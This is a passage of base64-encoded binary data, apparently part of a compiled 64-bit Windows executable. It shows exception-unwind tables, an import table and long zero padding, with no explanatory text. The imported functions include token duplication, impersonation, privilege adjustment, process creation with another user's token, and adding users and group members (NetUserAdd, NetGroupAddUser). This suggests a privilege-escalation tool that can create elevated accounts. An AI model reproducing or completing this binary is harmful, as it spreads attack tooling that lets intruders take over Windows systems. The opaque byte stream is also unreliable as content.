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9wZW5Qcm9jZXNzVG9rZW4AAIsBSW1wZXJzb25hdGVMb2dnZWRPblVzZXIAjQBDcmVhdGVQcm9jZXNzV2l0aFRva2VuVwBsAUdldFNpZFN1YkF1dGhvcml0eQAAbQFHZXRTaWRTdWJBdXRob3JpdHlDb3VudAD0AlNldFRva2VuSW5mb3JtYXRpb24AwQJSZXZlcnRUb1NlbGYAAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAK8BTG9va3VwUHJpdmlsZWdlVmFsdWVXAEFEVkFQSTMyLmRsbAAA6QBOZXRVc2VyQWRkAACJAE5ldEdyb3VwQWRkVXNlcgBORVRBUEkzMi5kbGwAAOsBTnRRdWVyeU9iamVjdABudGRsbC5kbGwA1QRSdGxDYXB0dXJlQ29udGV4dADcBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAAOMEUnRsVmlydHVhbFVud2luZAAAwAVVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAH8FU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAJ4FVGVybWluYXRlUHJvY2VzcwAAjANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AFIEUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAJQJHZXRDdXJyZW50VGhyZWFkSWQAAPMCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAbwNJbml0aWFsaXplU0xpc3RIZWFkAIUDSXNEZWJ1Z2dlclByZXNlbnQA2gJHZXRTdGFydHVwSW5mb1cA4gRSdGxVbndpbmRFeABBBVNldExhc3RFcnJvcgAAOAFFbnRlckNyaXRpY2FsU2VjdGlvbgAAxANMZWF2ZUNyaXRpY2FsU2VjdGlvbgAAFAFEZWxldGVDcml0aWNhbFNlY3Rpb24AawNJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50ALAFVGxzQWxsb2MAALIFVGxzR2V0VmFsdWUAswVUbHNTZXRWYWx1ZQCxBVRsc0ZyZWUAtAFGcmVlTGlicmFyeQDKA0xvYWRMaWJyYXJ5RXhXAABoBFJhaXNlRXhjZXB0aW9uAADcAkdldFN0ZEhhbmRsZQAAJQZXcml0ZUZpbGUAfQJHZXRNb2R1bGVGaWxlTmFtZVcAAGcBRXhpdFByb2Nlc3MAgAJHZXRNb2R1bGVIYW5kbGVFeFcAAN8BR2V0Q29tbWFuZExpbmVBAOABR2V0Q29tbWFuZExpbmVXAFUDSGVhcEZyZWUAAJ4AQ29tcGFyZVN0cmluZ1cAALgDTENNYXBTdHJpbmdXAABYAkdldEZpbGVUeXBlAFgDSGVhcFJlQWxsb2MAfgFGaW5kQ2xvc2UAhAFGaW5kRmlyc3RGaWxlRXhXAACVAUZpbmROZXh0RmlsZVcAkgNJc1ZhbGlkQ29kZVBhZ2UAuwFHZXRBQ1AAAKECR2V0T0VNQ1AAAMoBR2V0Q1BJbmZvAPYDTXVsdGlCeXRlVG9XaWRlQ2hhcgARBldpZGVDaGFyVG9NdWx0aUJ5dGUAQQJHZXRFbnZpcm9ubWVudFN0cmluZ3NXAACzAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXACQFU2V0RW52aXJvbm1lbnRWYXJpYWJsZVcAWwVTZXRTdGRIYW5kbGUAAOECR2V0U3RyaW5nVHlwZVcAAKgBRmx1c2hGaWxlQnVmZmVycwAACQJHZXRDb25zb2xlT3V0cHV0Q1AAAAUCR2V0Q29uc29sZU1vZGUAAFYCR2V0RmlsZVNpemVFeAAzBVNldEZpbGVQb2ludGVyRXgAAFoDSGVhcFNpemUAAM4AQ3JlYXRlRmlsZVcAJAZXcml0ZUNvbnNvbGVXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADKi3y2ZKwAAzV0g0mbU////////AQAAAAEAAAACAAAAAAAIAAAAAAAAAAACAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAwAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////8AAAAAAAAAAIAACgoKAAAAAAAAAAAAAABCagFAAQAAAP////8AAAAAAAAAAAAAAABAZQFAAQAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo8wFAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACjzAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKPMBQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo8wFAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACjzAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHD4AUABAAAAAAAAAAAAAAAAAAAAAAAAAMBnAUABAAAAQGkBQAEAAABQbAFAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDxAUABAAAAMPMBQAEAAABDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQAAAAAAAAICAgICAgICAgICAgICAgICAgICAgICAgICAAAAAAAAAAAAAAAAAAAA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AABNUBAAw0AABdNAAArNUBAGA0AADBNAAAPNYBAOA0AADwNAAAaNYBAAA1AAB1OwAAdNYBAJA7AADQOwAAeNYBAOA7AAAKPAAAgNYBABA8AAA2PAAAiNYBAEA8AACHPAAAkNYBAJA8AACvPQAAmNYBAMQ9AAAfPgAABNUBADg+AAA6QQAAzNYBADxBAADhRwAA6NYBAORHAAB/SAAAPNYBAIBIAAD2SAAAsNYBAPhIAAAhSQAAxNYBACxJAACRSQAABNUBAJRJAADRSQAALNgBANRJAACmSwAA4NcBAKhLAABOTAAAsNYBAFBMAAD5TAAAsNYBADxNAADDTQAAJNgBAMRNAABnTgAAJNgBAGhOAAD1TgAAJNgBAPhOAACcTwAAJNgBAJxPAAAnUAAADNgBAChQAACeUAAAANgBAKBQAADNUQAAqNcBAOhSAACJUwAAUNcBAIxTAAAvVAAAUNgBADBUAABDVgAAQNcBAERWAAC7WAAAmNYBALxYAAAsWQAABNUBACxZAADOWQAABNUBANBZAAA9WwAADNUBAEBbAADTXAAADNUBANRcAABYXwAAZNcBAFhfAAAiYgAAZNgBAAxjAACFYwAAPNYBAIhjAABDZQAAhNcBAERlAAAjZwAAmNgBACRnAADpZwAAfNcBAOxnAACSaAAAiNgBAJRoAAATagAAmNYBABRqAACZawAAmNYBAJxrAAAibAAArNUBACRsAAC6bAAABNUBALxsAACDbQAAPNYBAIRtAAAebgAADNUBACBuAABBbwAAkNcBAERvAAAqcAAAqNgBACxwAADRcAAAyNcBANRwAADJcQAAJNcBAMxxAABXcgAAHNcBAFhyAACxcwAAANcBANBzAABSdQAAsNYBAOR1AACEdwAA0NgBAIR3AADhdwAABNUBAOR3AABmeQAAvNgBAGh5AADPeQAArNUBANB5AADjegAA9NgBAOR6AAAlewAA6NgBACh7AADZewAADNkBANx7AAD2ewAADNUBAPh7AAASfAAADNUBABR8AABPfAAADNUBAFB8AACIfAAADNUBAIh8AADWfAAADNUBAOB8AABEfQAAsNYBAER9AACBfQAArNUBAIR9AAC8fQAASNkBALx9AAB9fgAAKNkBAIx+AABIfwAAHNkBAEh/AACSfwAABNUBAJR/AADvfwAABNUBACSAAABggAAADNUBAGyAAACpgAAADNUBAKyAAADRgAAADNUBAOSAAABSgQAAdNkBAGCBAACOgQAAbNkBAJCBAAD5gQAABNUBAASCAAAvggAADNUBADiCAABzggAA3NkBAHSCAACvggAAANoBALCCAABghAAArNkBAGCEAAB2hQAAxNkBAIiFAADChQAApNkBAOyFAAA0hgAAnNkBAEiGAABrhgAADNUBAGyGAAB8hgAADNUBAHyGAAC5hgAABNUBAMSGAAAEhwAABNUBAASHAABfhwAADNUBAHSHAACphwAADNUBAKyHAADMhwAAJNoBAMyHAAAriAAABNUBACyIAACCiAAADNUBAKCIAAAdiQAASNoBAEyJAADBiQAABNUBAMSJAAAfiwAATNoBACiLAADWiwAAbNoBANiLAAD2iwAAxNYBAPiLAAA/jAAADNUBAIiMAADWjAAArNUBANiMAAD4jAAADNUBAPiMAAAYjQAADNUBABiNAABVjQAAgNoBAFiNAAAujwAATNYBADCPAAB+jwAABNUBAICPAABckAAAkNoBAFyQAACkkAAABNUBAKSQAADqkAAABNUBAOyQAAAykQAABNUBADSRAACFkQAArNUBAIiRAADpkQAAPNYBAOyRAADIkgAAkNoBAMiSAAAYkwAArNUBABiTAABJkwAAiNoBAEyTAACNkwAABNUBAJCTAABBlAAApNoBAESUAADelAAA0NoBAOCUAADAlQAA9NoBAMCVAAAdlgAAyNoBACCWAACalgAAPNYBAJyWAADnlgAABNUBAPCWAAAwlwAABNUBADCXAAAdmAAAPNsBACCYAAAsmQAAmNYBACyZAABnmQAAHNsBAGiZAAComQAArNUBAKiZAADXmQAADNUBANiZAABEmgAAWNsBAESaAABMmwAAZNsBAEybAACLmwAAkNsBAIybAADJmwAA/NsBAMybAAARnAAAtNsBABScAABznAAA2NsBAHScAABBnQAAgNsBAESdAABknQAAgNoBAGSdAABZngAAiNsBAFyeAADDngAArNUBAMSeAACYnwAAPNYBAJifAAA/oAAABNUBAECgAAAMoQAAPNYBAAyhAABFoQAADNUBAEihAABqoQAADNUBAGyhAACdoQAABNUBAKChAADRoQAABNUBANShAABOogAArNUBAFCiAACuogAABNUBALCiAADaogAAxNYBANyiAAAGowAAxNYBAAijAACGpAAAkNoBAJCkAAAspgAAINwBAFSpAADUrAAAYNwBANSsAADErQAAkNoBAMStAACWrwAASNwBAJivAAD9sAAAfNwBAACxAABFsgAAlNwBAEiyAABeswAAJNcBAGCzAACXtgAAMNwBAJi2AAC+tgAADNUBAPC2AAA2twAABNUBADi3AAAAuAAArNUBAAC4AAA5uAAAqNwBADy4AAAguQAArNUBADS5AAD+vAAAsNwBAAC9AACJvgAA1NwBAJS+AABOwAAAbN0BAFDAAADNwAAAEN0BANDAAABgwQAAsNYBAGDBAABBwwAAUN0BAETDAAACxQAAQN0BAATFAAC8xQAAGN0BALzFAAAcxgAADNUBABzGAAA4xgAADNUBADjGAADxyAAA8NwBAFDJAAD9yQAAkN0BAADKAACfygAAsNYBAKDKAADCzQAA1NwBAMTNAACzzgAAnN0BALzOAAAEzwAABNUBACDPAABXzwAABNUBAHTPAACwzwAABNUBALDPAABV0AAAsNYBAFjQAACo0AAAyN0BAKjQAABQ0QAA2N0BAKDRAABa0gAAtN0BAFzSAADR0gAADNUBAPDSAAD60wAABN4BAPzTAABo1AAAgNoBAGjUAADA1AAAPNYBAMDUAADI1QAADN4BAPzVAACJ1wAAHN4BABjYAACO2QAAsNYBALjZAADu2QAAgNoBABjaAADA2gAADNUBAMDaAAAu2wAARN4BADDbAACV2wAArNUBAJjbAAAt3AAAsNYBADDcAABM3AAADNUBAFjcAADY3AAAPNYBANjcAAAU3QAArNUBABzdAABL3QAABNUBAEzdAACA3QAAaN4BAIDdAADF3QAAxN4BAMjdAAD23QAAbNkBABjeAACC4AAAiN4BAITgAAAz4QAAxNkBADThAAC34QAArNUBALjhAAAa4gAA6N4BABziAACo4gAAFN8BAKjiAAA54wAADN8BADzjAAAo6AAAgN8BACjoAAAq6QAApN8BACzpAABF6gAApN8BAEjqAAC46wAAxN8BALjrAACj7AAAON8BAKTsAACH7wAAaN8BAJDvAADb7wAAEN0BANzvAAAV8AAAfNcBABjwAACO8QAA6N8BAJDxAABD8gAADNUBAETyAACf8wAAxNkBAKDzAADM9QAAIOABAMz1AACA9wAAOOABAID3AADJ9wAATOABAMz3AAAQCgEAAOABABAKAQCXCgEAPNYBAJgKAQCsCgEADNUBAKwKAQCQCwEAXOABAJALAQAJDAEABNUBAAwMAQDDDAEArNUBAMQMAQAjDQEADNUBADANAQCLDQEAbOABAIsNAQCvEAEAhOABAK8QAQDNEAEAqOABANAQAQDlEwEAyOABAOgTAQB+FAEAuOABAIAUAQCXFAEADNUBAJgUAQDnFAEADNUBAOgUAQDYFQEAkNoBACQWAQBdFgEADNUBAGAWAQDRFgEA8OABANQWAQB1FwEADN8BAHgXAQA1GAEArNUBAFQYAQBDGQEAFOEBAEQZAQDdGQEAPNYBAPAZAQArGgEAROEBACwaAQABHAEATOEBAAQcAQBnHAEABNUBAGgcAQCIHAEABNUBAIgcAQDUHAEABNUBANQcAQAkHQEABNUBAPAdAQCbIwEAaOEBAPAkAQA3JgEAdOEBALwmAQAnJwEArNUBAEAnAQD9JwEAhOEBAAAoAQBSKAEAEN0BAFQoAQBwKAEADNUBAHAoAQAuKQEAnOEBADApAQCeKQEABNUBAKgpAQBmLAEAsOEBAGgsAQDNLAEA3OEBANAsAQCKLQEAPNYBAIwtAQCzLgEA5OEBANAuAQBALwEABOIBAEAvAQBgLwEAxNYBAGAvAQD2LwEADOIBABAwAQAgMAEAGOIBAGAwAQCHMAEAIOIBAIgwAQCVMwEAKOIBAJgzAQDGMwEADNUBAMgzAQDlMwEABNUBAOgzAQBkNAEAPOIBAGQ0AQCDNAEABNUBAIQ0AQCVNAEADNUBAPA0AQA9NQEAZOIBAGw1AQCJNQEADNUBAIw1AQDnNQEAiOIBAAA2AQBONgEAkOIBAGA2AQAnNwEAmOIBACg3AQBjOAEAJNgBAPA4AQDyOAEAyNUBABA5AQAWOQEA0NUBACA5AQA+OQEATNUBAD45AQBWOQEAiNUBAFY5AQDsOQEAENYBAOw5AQAHOgEATNUBAAc6AQAhOgEATNUBACE6AQA8OgEATNUBADw6AQBWOgEATNUBAFY6AQBvOgEATNUBAG86AQCMOgEATNUBAIw6AQClOgEATNUBAKU6AQC+OgEATNUBAL46AQDXOgEATNUBANc6AQDtOgEATNUBAO06AQAOOwEATNUBAA47AQAmOwEATNUBACY7AQBAOwEATNUBAEA7AQBXOwEATNUBAFc7AQCDOwEATNUBAJA7AQCwOwEATNUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA